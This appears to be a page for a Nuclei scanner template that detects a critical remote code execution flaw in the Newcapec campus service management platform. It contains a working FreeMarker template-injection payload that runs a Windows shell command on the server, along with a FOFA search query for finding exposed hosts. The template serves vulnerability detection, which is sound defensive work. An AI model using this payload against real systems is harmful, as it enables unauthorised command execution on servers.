Newcapec - Remote Code Execution

ID: newcapec-rce

Severity: critical

Author: ritikchaddha

Tags: newcapec,rce,intrusive

Description

Newcapec front-end service management platform service.action interface has a remote command execution vulnerability, attackers can use the vulnerability to obtain server permissions.

YAML Source

id: newcapec-rce

info:
  name: Newcapec - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    Newcapec front-end service management platform service.action interface has a remote command execution vulnerability, attackers can use the vulnerability to obtain server permissions.
  reference: |
    - https://forum.butian.net/article/242
  metadata:
    max-request: 2
    fofa-query: title="掌上校园服务管理平台"
  tags: newcapec,rce,intrusive

variables:
  file: "{{rand_base(5)}}"
  data: "{{randstr}}"

http:
  - raw:
      - |
        @timeout: 30s
        POST /service_transport/service.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"command":"GetFZinfo","UnitCode":"<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo {{data}} > ./webapps/ROOT/{{file}}.txt\")}"}

      - |
        GET /{{file}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 200'
          - 'contains(header_1, "text/plain") && contains(header_2, "text/plain")'
          - 'contains(body_1, "{\"_result\":")'
          - 'contains(body_2, "{{data}}")'
        condition: and
# digest: 490a004630440220441192072b5a29b72f55a26ec242e2966b60e3e66c70b188acafd708275860fd02207f18419d582c0da705d42e629ce364b866be4ffa42df503cc79599648888b2a2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/newcapec-rce.yaml"

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